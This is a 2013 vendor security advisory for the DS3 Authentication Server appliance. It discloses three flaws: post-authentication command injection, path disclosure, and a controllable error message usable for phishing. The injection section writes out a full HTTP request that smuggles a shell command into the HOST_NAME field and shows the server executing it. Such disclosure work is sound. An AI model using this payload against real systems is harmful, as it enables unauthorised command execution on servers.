1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205 | Original: http://www.digitalsec.net/stuff/explt+advs/DS3.AuthServer.txt
===============================
- Advisory -
===============================
Tittle: DS3 Authentication Server - Command Execution (Post
Authentication) & other minor issues
Risk: High
Date: 27.May.2013
Author: Pedro Andujar
.: [ INTRO ] :.
The DS3 Authentication Server appliance is a high performance appliance that
provides multifactor authentication with end-to-end encryption of keys
protected by a
FIPS-certified Hardware Security Module (HSM).
.: [ TECHNICAL DESCRIPTION ] :.
DS3 Authentication Server (unknown version) is prone to several security
issues as described below;
.: [ ISSUE #1 }:.
Name: Command execution
Severity: High
Authentication server provides different admin tools to perform connectivity
checks. TestTelnetConnection.jsp doesn't validate the user input, allowing an
attacker to execute arbitrary commands in the server side with the privileges
of asadmin user.
POST /ServerAdmin/TestTelnetConnection.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101
Firefox/19.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://x.x.x.x/ServerAdmin/TestTelnetConnection.jsp
Cookie: 70746573745f61646d696e00=English.properties;
70746573745f63696300=English.properties;
JSESSIONID=8F457BB84D7B80F49D197D92360F1F95
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 90142
HOST_NAME=-;uname&PORT_NUMBER=-a
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Fri, 05 Apr 2013 22:54:18 GMT
Server: DS3-AuthServer
Content-Length: 12648
<HTML>
<HEAD>
<TITLE>Test Telnet Connection</TITLE>
<meta http-equiv="Cache-Control" content="no-cache" />
<meta http-equiv="pragma" content="no-cache">
<SCRIPT Language="JavaScript">function doSubmit()
...[SNIP]...
<TD COLSPAN=2>
<TEXTAREA ROWS="10" COLS="80" READONLY NAME="TEST_RESULTS">Start time : Fri
Apr 05 06:57:17 SGT 2013
End time : Fri Apr 05 06:57:17 SGT 2013
Time taken (ms): 39
Attempting connection to -;uname on port -a
Linux authserver 2.6.32.22 #1 SMP Thu Sep 30 08:51:06 SGT 2010 i686
i686 i386 GNU/Linux
-/telnet: Temporary failure in name resolution
Successful connection to -;uname on port -a</textarea>
...[SNIP]...
.: [ ISSUE #2 }:.
Name: Physical Path Disclosure
Severity: Low
TestDRConnection.jsp, shows the file path in the error messages, this is
considered a minor information leak.
POST /ServerAdmin/TestDRConnection.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101
Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://x.x.x.x/ServerAdmin/TestDRConnection.jsp
Cookie: 70746573745f61646d696e00=English.properties;
JSESSIONID=397BA78713A66EE6968BAAB237C6C6EF
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 264
HOST_NAME=localhost&FILE_SIZE=&PACKET_SIZE=&MTU_SIZE=
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 3081
Date: Thu, 04 Apr 2013 01:34:18 GMT
Server: DS3-AuthServer
<HTML>
<HEAD>
<TITLE>Test DR Connection</TITLE>
...[SNIP]...
<TD COLSPAN=2>
<TEXTAREA ROWS="10" COLS="80" READONLY NAME="TEST_RESULTS">
FCOPY-W-NOSERV , service fcopy$server is unknown.
FCOPY-I-DEFPORT , using FASTCopy default port 5745
FCOPY-E-NETLOGIN, remote login failed on node localhost
-REG-E-OPEN, error opening registry file </home/asadmin/softlink.reg>
-SYS-E-ERRMSG, No such file or directory
-SEC-E-NOAPPLN, permission rejected at security file /etc/softlink.login,
line #9
-SEC-E-NOAPPRS, Invalid login settings in softlink.login
</textarea>
.: [ ISSUE #3 }:.
Name: User Controlable Error Message
Severity: Low
Without being authenticaticated, any user is able to manipulate the message of
the default error page, helping him to develop social engineering attacks. This
could be done as follows;
https://x.x.x.x/ServerAdmin/ErrorViewer.jsp?message=Message forged
example, please visit www.ev1lsite.com.au
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 669
Date: Mon, 25 Mar 2013 05:39:50 GMT
Server: DS3-AuthServer
<HTML>
<HEAD>
<TITLE>Error Page</TITLE>
<meta http-equiv="Cache-Control" content="no-cache" />
<meta http-equiv="pragma" content="no-cache">
<link rel="stylesheet" href="/ServerAdmin/ServerAdmin.css" type="text/css"
title="ServerAdmin Style Sheet">
</HEAD>
<BODY>
<IMG src="image/oem-logo-small.jpg" border=0>
<FONT class=CommonHeader>Error Message</FONT><BR>
<IMG src="image/line.gif" border=0><BR><BR>
<TABLE class=MsgTable Height=4 Width=435>
<TR>
<TD><B>Error Message:</B></TD>
<TD>Message forged example, please visit www.ev1lsite.com.au</TD>
</TR>
</TABLE>
<BR><IMG src="image/line.gif" border=0>
</BODY>
</HTML>
.: [ CHANGELOG ] :.
* 05/Apr/2013: - Bugs found - Reported customer.
* 27/May/2013: - Send this report to the vendor as well.
* 02/Jun/2013: - Public Disclosure
.: [ SOLUTIONS ] :.
N/A
.: [ REFERENCES ] :.
[+] DS3 Data Security Systems Solutions
http://ds3global.com
[+] DS3 Authentication Server
http://ds3global.com/index.php/en/ds3-authentication-server/ds3-authentication-server
[+] Ernst & Young Advanced Security Centre - Melbourne
http://www.ey.com/security/
[+] !dSR - Digital Security Research
http://www.digitalsec.net/
-=EOF=-
|
